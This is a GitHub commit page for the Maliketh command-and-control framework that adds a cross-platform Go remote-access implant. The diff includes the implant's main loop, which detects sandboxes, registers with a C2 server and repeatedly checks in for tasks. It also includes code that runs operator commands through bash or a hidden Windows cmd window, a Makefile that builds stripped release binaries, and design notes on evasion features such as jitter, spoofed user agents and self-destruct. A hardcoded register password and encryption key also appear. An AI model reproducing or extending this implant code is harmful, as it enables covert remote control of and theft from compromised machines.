Skip to content

Commit 0639f87

Browse files
committed
Add go implant
commit 8d57c76 Author: Carter Brainerd <[email protected]> Date: Thu Nov 23 17:06:48 2023 -0500 Fix cd client command commit c8c50b5 Author: Carter Brainerd <[email protected]> Date: Thu Nov 23 16:52:42 2023 -0500 Remove old files commit 2a9fc76 Author: Carter Brainerd <[email protected]> Date: Thu Nov 23 16:51:36 2023 -0500 Move go source to new folder and add more functionality commit f7bd362 Author: Carter Brainerd <[email protected]> Date: Sun Nov 12 22:28:35 2023 -0500 Basic handler stubs commit cdf9e11 Author: Carter Brainerd <[email protected]> Date: Sat Nov 11 23:31:22 2023 -0500 Tweak release build flags and implant name commit 4ff22e4 Author: Carter Brainerd <[email protected]> Date: Sat Nov 11 18:07:22 2023 -0500 Add initial go implant code
1 parent 0aeec4c commit 0639f87

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

44 files changed

+1512
-14
lines changed

.gitignore

+2
Original file line numberDiff line numberDiff line change
@@ -10,3 +10,5 @@ implant/*.obj
1010
.vscode/c_cpp_properties.json
1111
.vscode/settings.json
1212
client/*.json
13+
14+
implant/go_src/build/*

client/cli/command.py

+2-2
Original file line numberDiff line numberDiff line change
@@ -259,8 +259,8 @@ def print_task_result(config: OperatorConfig, task_id: str) -> None:
259259
try:
260260
task = json.loads(decoded)
261261
except Exception as e:
262-
logger.warning("Result is not JSON, printing raw output")
263-
print(decoded)
262+
logger.debug("Result is not JSON, printing raw output")
263+
print(str(decoded, "utf-8"))
264264
return
265265

266266
print(tabulate(task.items(), headers=["Key", "Value"], tablefmt="fancy_grid"))

client/cli/interact.py

+2-2
Original file line numberDiff line numberDiff line change
@@ -72,7 +72,7 @@ def handle(cmd: str, args: List[str], config: OperatorConfig, implant_id: str) -
7272
handle_upload(config, implant_id, args)
7373
elif cmd == "inject":
7474
handle_inject(config, implant_id, args)
75-
elif cmd == "cd":
75+
elif cmd in ["cd", "chdir"]:
7676
handle_cd(config, implant_id, args)
7777
elif cmd == "pwd":
7878
handle_pwd(config, implant_id)
@@ -368,7 +368,7 @@ def handle_ls(config: OperatorConfig, implant_id: str, args: List[str]) -> None:
368368
logger.debug(f"Sending ls task to {implant_id}")
369369
add_task(config, Opcodes.LS.value, implant_id, None)
370370

371-
def handle_getenv(config: OperatorConfig, implant_id: str, args: List[str]) -> None:
371+
def handle_getenv(config: OperatorConfig, implant_id: str) -> None:
372372
"""
373373
Handle the getenv command, send a getenv task to the implant
374374
"""

client/cli/logging.py

+2-2
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
1-
import abc
21
from dataclasses import dataclass
2+
from datetime import datetime
33
from prompt_toolkit.styles import Style
44
from prompt_toolkit.formatted_text import FormattedText
55
from prompt_toolkit import print_formatted_text
@@ -40,7 +40,7 @@ def to_lower(self) -> str:
4040

4141
@dataclass
4242
class StyledLogger:
43-
level: LogLevel = LogLevel.INFO
43+
level: LogLevel
4444
_style: Style = Style.from_dict(
4545
{
4646
"debug": "#ffaa00", # Orange

client/comms.py

+1-2
Original file line numberDiff line numberDiff line change
@@ -183,7 +183,7 @@ def add_task(
183183
if response.json()["status"] != True:
184184
logger.error("Failed to add task")
185185
return {}
186-
186+
logger.info(f"Dispatched task {response.json()['task']['task_id']}")
187187
return response.json()["task"]
188188
except Exception as e:
189189
logger.error("Failed to add task")
@@ -203,7 +203,6 @@ def get_task_result(config: OperatorConfig, task_id: str) -> Optional[str]:
203203
if response.json()["status"] != True:
204204
logger.error("Failed to get task result")
205205
return None
206-
207206
return response.json()["result"]
208207
except Exception as e:
209208
logger.error("Failed to get task result")

client/config.py

+1
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@
66

77
# Globals
88
log_level: LogLevel = LogLevel.INFO
9+
log_with_timestamps: bool = False
910

1011
IMPLANT_DEFAULT_BUILD_OPTIONS = {
1112
"initial_sleep_seconds": 180, # The number of seconds to sleep before the first checkin

client/maliketh_client

+2
Original file line numberDiff line numberDiff line change
@@ -75,6 +75,8 @@ def main():
7575
if opts.debug:
7676
config.log_level = LogLevel.DEBUG
7777

78+
if opts.with_timestamps:
79+
config.log_with_timestamps = True
7880

7981
with open(opts.config, "r") as f:
8082
operator_config = config.OperatorConfig.from_json(f.read())

client/rmq.py

+2-2
Original file line numberDiff line numberDiff line change
@@ -8,8 +8,8 @@
88
def listen_for_messages_in_thread(op: OperatorConfig, cli_opts: Dict[str, Any]):
99
logger = get_styled_logger()
1010
def callback(ch, method, properties, body):
11-
msg = f"[{method.exchange}] {f'[{datetime.now()}]' if cli_opts.with_timestamps else ''} {body.decode()}"
12-
logger.ok(f"[{method.exchange}] {body.decode()}")
11+
msg = f"[{method.exchange}] {f'[{datetime.datetime.now()}] ' if cli_opts.with_timestamps else ''}{body.decode()}"
12+
logger.ok(msg)
1313

1414
def listen_for_messages():
1515
connection = pika.BlockingConnection(

design/profile.md

+20-1
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,7 @@ Profiles are YAML files with three main top level directives: `client`, `server`
2424
|--------|-------------|----------|------|
2525
| `user_agent` | The user agent to use when making HTTP requests | Yes | String |
2626
| `encoding` | The encoding to use when sending encrypted data to the C2. | Yes | One of: `base64`, `hex` |
27-
| `sleep` | The number of seconds to sleep between each HTTP request | Yes | Integer |
27+
| `sleep_time` | The number of seconds to sleep between each HTTP request | Yes | Integer |
2828
| `jitter` | % jitter. The implant will sleep for a random amount of time between `sleep` and `sleep * (1 + jitter)` | Yes | Float, `[0, 0.99]` |
2929
| `max_retries` | The maximum number of times to retry a request before giving up | Yes | Integer |
3030
| `auto_self_destruct` | Whether or not to self destruct on failed checkins. If set to true, the implant will delete itself after `max_retries` failed checkins. | Yes | Boolean |
@@ -34,6 +34,25 @@ Profiles are YAML files with three main top level directives: `client`, `server`
3434
| `tailoring_hash_function` | The hash function to use for payload tailoring. | Yes | One of: `sha256`, `md5` |
3535
| `tailoring_hash_rounds` | The number of hash rounds to use for payload tailoring. | Yes | Integer |
3636

37+
#### Example JSON config
38+
39+
```json
40+
{
41+
"cookie": "SESSID",
42+
"kill_date": "",
43+
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0",
44+
"auto_self_destruct": true,
45+
"sleep_time": 60,
46+
"jitter": 0.1,
47+
"max_retries": 3,
48+
"retry_wait": 5,
49+
"retry_jitter": 0.1,
50+
"enc_key": "kX7tvu+8/ChkNuP2ScZRfz26OHde9DSfshaqSyIoEXY=",
51+
"tailoring_hash_function": "sha256",
52+
"tailoring_hash_rounds": 1,
53+
"tailoring_hashes": []
54+
}
55+
```
3756

3857
### Server options
3958

design/specs/implant-c2-http.md

+1
Original file line numberDiff line numberDiff line change
@@ -127,6 +127,7 @@ Example request:
127127
```
128128

129129
If there is no output, set `output` to an empty string.
130+
If you'd like the output to be displayed in a table, `output` should be a JSON object (still base64 encoded).
130131

131132
| Field | Purpose |
132133
|:----- | :------ |

go_implant/Makefile

+50
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
GO=go
2+
GOFLAGS=
3+
DEBUG ?= 1
4+
BINARY=implant
5+
MAIN=cmd/main.go
6+
GOARCH ?= amd64
7+
8+
# If debug, append -debug to binary name
9+
ifeq ($(DEBUG),1)
10+
BINARY:=$(BINARY)-debug
11+
else
12+
BINARY:=$(BINARY)-release
13+
endif
14+
15+
ifeq ($(DEBUG),1)
16+
GOFLAGS:=$(GOFLAGS) -gcflags="all=-N -l" -ldflags="-X maliketh.config.DEBUG=true"
17+
else
18+
GOFLAGS:=$(GOFLAGS) -ldflags="-s -w -X maliketh.config.DEBUG=false" -trimpath
19+
endif
20+
21+
default: native-debug
22+
23+
native-debug:
24+
$(GO) build -gcflags="all=-N -l" -ldflags="-X maliketh.config.DEBUG=true" -o implant-dev-debug $(MAIN)
25+
26+
all: setup deps macos linux windows
27+
28+
setup:
29+
mkdir -p build
30+
31+
deps:
32+
$(GO) mod tidy
33+
34+
linux:
35+
@/bin/echo -n "-----> Building Linux binary ($(GOARCH))... "
36+
@GOOS=linux GOARCH=$(GOARCH) $(GO) build $(GOFLAGS) -o build/$(BINARY)-linux-amd64 $(MAIN)
37+
@echo "DONE"
38+
39+
macos:
40+
@/bin/echo -n "-----> Building MacOS binary ($(GOARCH))... "
41+
@GOOS=darwin GOARCH=$(GOARCH) $(GO) build $(GOFLAGS) -o build/$(BINARY)-macos-amd64 $(MAIN)
42+
@echo "DONE"
43+
44+
windows:
45+
@/bin/echo -n "-----> Building Windows binary ($(GOARCH))... "
46+
@GOOS=windows GOARCH=$(GOARCH) $(GO) build $(GOFLAGS) -o build/$(BINARY)-windows-amd64.exe $(MAIN)
47+
@echo "DONE"
48+
49+
clean:
50+
rm -rf build/*

go_implant/README.md

+23
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
# Maliketh Golang Implant
2+
3+
This directory contains the source code for the Golang implementation of the Maliketh implant.
4+
Most functions are supported on Windows, macOS, and Linux.
5+
6+
Some functions were adapted from [Coldfire](https://github.com/redcode-labs/Coldfire).
7+
8+
## Differences between this and the C++ implant
9+
The C++ implant is a bit more optimized for real world use. The golang implant **does not** have:
10+
11+
* Compiletime string obfuscation
12+
* A small memory footprint
13+
* A small binary size
14+
* Scheduled task persistence
15+
16+
17+
## TODO
18+
19+
* [] Register retries
20+
* [] Persistence
21+
* [] Do something "normal" when sandbox is detected
22+
23+
5.25 MB
Binary file not shown.
5.59 MB
Binary file not shown.
Binary file not shown.

go_implant/cmd/main.go

+49
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
package main
2+
3+
import (
4+
"fmt"
5+
"maliketh/pkg/crypto"
6+
"maliketh/pkg/implant"
7+
. "maliketh/pkg/utils"
8+
"maliketh/pkg/sandbox"
9+
config "maliketh/pkg/config"
10+
"time"
11+
)
12+
13+
func main() {
14+
15+
16+
17+
if sandbox.SandboxAll() {
18+
DebugPrintln("Sandbox detected, exiting...")
19+
return
20+
}
21+
22+
public, private, err := crypto.CreateBase64KeyPair()
23+
if err != nil {
24+
DebugPrintln("Error creating key pair")
25+
return
26+
}
27+
28+
DebugPrintln(fmt.Sprintf("Public key: %s", public))
29+
DebugPrintln(fmt.Sprintf("Private key: %s", private))
30+
31+
profile, err := implant.Register(config.GetC2Url(), public, private)
32+
if err != nil {
33+
panic(err)
34+
}
35+
config.CurrentProfile = &profile
36+
37+
for {
38+
time.Sleep(time.Duration(config.CurrentProfile.Config.Sleep) * time.Second)
39+
task, err := implant.Checkin(config.GetC2Url(), *config.CurrentProfile)
40+
if err != nil {
41+
panic(err)
42+
}
43+
// DebugPrintln(fmt.Sprintf("Task ID: %s\n", task.TaskId))
44+
// opcode := task.Opcode
45+
// DebugPrintln(fmt.Sprintf("Opcode: %d\n", opcode))
46+
47+
go implant.Handle(config.GetC2Url(), task, *config.CurrentProfile)
48+
}
49+
}

go_implant/go.mod

+19
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
module maliketh
2+
3+
go 1.21.4
4+
5+
require (
6+
emperror.dev/errors v0.8.1
7+
github.com/davecgh/go-spew v1.1.1
8+
github.com/denisbrodbeck/machineid v1.0.1
9+
github.com/mitchellh/go-ps v1.0.0
10+
golang.org/x/crypto v0.15.0
11+
golang.org/x/sys v0.14.0
12+
)
13+
14+
require (
15+
github.com/pkg/errors v0.9.1 // indirect
16+
github.com/stretchr/testify v1.8.4 // indirect
17+
go.uber.org/atomic v1.7.0 // indirect
18+
go.uber.org/multierr v1.6.0 // indirect
19+
)

go_implant/go.sum

+27
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
emperror.dev/errors v0.8.1 h1:UavXZ5cSX/4u9iyvH6aDcuGkVjeexUGJ7Ij7G4VfQT0=
2+
emperror.dev/errors v0.8.1/go.mod h1:YcRvLPh626Ubn2xqtoprejnA5nFha+TJ+2vew48kWuE=
3+
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
4+
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
5+
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
6+
github.com/denisbrodbeck/machineid v1.0.1 h1:geKr9qtkB876mXguW2X6TU4ZynleN6ezuMSRhl4D7AQ=
7+
github.com/denisbrodbeck/machineid v1.0.1/go.mod h1:dJUwb7PTidGDeYyUBmXZ2GphQBbjJCrnectwCyxcUSI=
8+
github.com/mitchellh/go-ps v1.0.0 h1:i6ampVEEF4wQFF+bkYfwYgY+F/uYJDktmvLPf7qIgjc=
9+
github.com/mitchellh/go-ps v1.0.0/go.mod h1:J4lOc8z8yJs6vUwklHw2XEIiT4z4C40KtWVN3nvg8Pg=
10+
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
11+
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
12+
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
13+
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
14+
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
15+
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
16+
github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk=
17+
github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
18+
go.uber.org/atomic v1.7.0 h1:ADUqmZGgLDDfbSL9ZmPxKTybcoEYHgpYfELNoN+7hsw=
19+
go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc=
20+
go.uber.org/multierr v1.6.0 h1:y6IPFStTAIT5Ytl7/XYmHvzXQ7S3g/IeZW9hyZ5thw4=
21+
go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU=
22+
golang.org/x/crypto v0.15.0 h1:frVn1TEaCEaZcn3Tmd7Y2b5KKPaZ+I32Q2OA3kYp5TA=
23+
golang.org/x/crypto v0.15.0/go.mod h1:4ChreQoLWfG3xLDer1WdlH5NdlQ3+mwnQq1YTKY+72g=
24+
golang.org/x/sys v0.14.0 h1:Vz7Qs629MkJkGyHxUlRHizWJRG2j8fbQKjELVSNhy7Q=
25+
golang.org/x/sys v0.14.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
26+
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
27+
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=

go_implant/pkg/command/command.go

+6
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
package command
2+
3+
// CmdOut executes a given command and returns its output.
4+
func CmdOut(command string) (string, error) {
5+
return cmdOut(command)
6+
}
+10
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
package command
2+
3+
import "os/exec"
4+
5+
func cmdOut(command string) (string, error) {
6+
cmd := exec.Command("bash", "-c", command)
7+
output, err := cmd.CombinedOutput()
8+
out := string(output)
9+
return out, err
10+
}
+14
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
package command
2+
3+
import (
4+
"os/exec"
5+
"syscall"
6+
)
7+
8+
func cmdOut(command string) (string, error) {
9+
cmd := exec.Command("cmd", "/C", command)
10+
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
11+
output, err := cmd.CombinedOutput()
12+
out := string(output)
13+
return out, err
14+
}

go_implant/pkg/config/config.go

+29
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
package config
2+
3+
import (
4+
"fmt"
5+
"maliketh/pkg/models"
6+
)
7+
8+
const DEBUG = true
9+
10+
// !!!!!!!!!! CHANGE THESE !!!!!!!!! //
11+
const C2_DOMAIN = "localhost"
12+
const C2_PORT = 80
13+
const C2_USE_TLS = false
14+
const C2_REGISTER_PASSWORD = "SWh5bHhGOENYQWF1TW9KR3VTb0YwVkVWbDRud1RFaHc="
15+
16+
// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! //
17+
18+
const INITIAL_SLEEP = 180
19+
const REGISTER_USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)"
20+
21+
var CurrentProfile *models.MalleableProfile
22+
23+
func GetC2Url() string {
24+
if C2_USE_TLS {
25+
return fmt.Sprintf("https://%s:%d", C2_DOMAIN, C2_PORT)
26+
} else {
27+
return fmt.Sprintf("http://%s:%d", C2_DOMAIN, C2_PORT)
28+
}
29+
}

0 commit comments

Comments
 (0)